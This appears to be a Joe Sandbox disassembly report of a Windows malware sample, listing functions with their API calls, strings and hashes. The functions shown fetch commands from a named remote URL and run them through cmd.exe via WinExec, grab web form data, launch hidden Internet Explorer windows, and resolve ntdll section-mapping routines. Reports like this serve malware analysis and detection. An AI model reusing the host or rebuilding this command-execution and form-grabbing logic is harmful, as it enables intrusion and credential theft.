Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
<body>, xrefs: 00405911
<html>, xrefs: 0040576C
<head>, xrefs: 0040580D
</head>, xrefs: 004058D7
MicroSoft-Corp, xrefs: 0040588B
</body><html>, xrefs: 00405B88
%sself.parent.location="%s";, xrefs: 00405A36
</script>, xrefs: 00405B07
.htm, xrefs: 0040575E
%s<title>%s%u</title>, xrefs: 00405897
<script>, xrefs: 00405966
function x(), xrefs: 004059A0
%ssetTimeout("x()",%u);, xrefs: 00405ACD

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
%s/Rtdx1%i.htm, xrefs: 00406B39
\command.com, xrefs: 00406A13
:, xrefs: 00406927
%s /C %s, xrefs: 00406A44
%s\command.pif, xrefs: 00406A02
:, xrefs: 00406934
%s\Rtdx1%i.dat, xrefs: 00406AB8
wupd , xrefs: 00406A68
%s\cmd.exe, xrefs: 004069C5
/, xrefs: 00406AF7
:%02u, xrefs: 0040694F
%s\cmd.pif, xrefs: 004069A9

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

%s%u - Microsoft Internet Explorer, xrefs: 004053C8
D, xrefs: 00405334
MicroSoft-Corp, xrefs: 004053C3
X-okRecv11, xrefs: 00405458
\Iexplore.exe , xrefs: 004052EC

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

value, xrefs: 00401BC7
%s%c, xrefs: 004021EB
%s FORM_%X, xrefs: 00401F6B
%s %X%c, xrefs: 0040218F

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

NtUnmapViewOfSection, xrefs: 00402851
NtOpenSection, xrefs: 00402867
RtlInitUnicodeString, xrefs: 00402841
RtlNtStatusToDosError, xrefs: 00402887
ntdll.dll, xrefs: 00402835
NtMapViewOfSection, xrefs: 00402877

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

[length=%i] [summ=%i], xrefs: 004037D8
%02X , xrefs: 004037FF
HEX: , xrefs: 004037E9
X4, xrefs: 004037E2
TXT: '%s', xrefs: 00403827

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
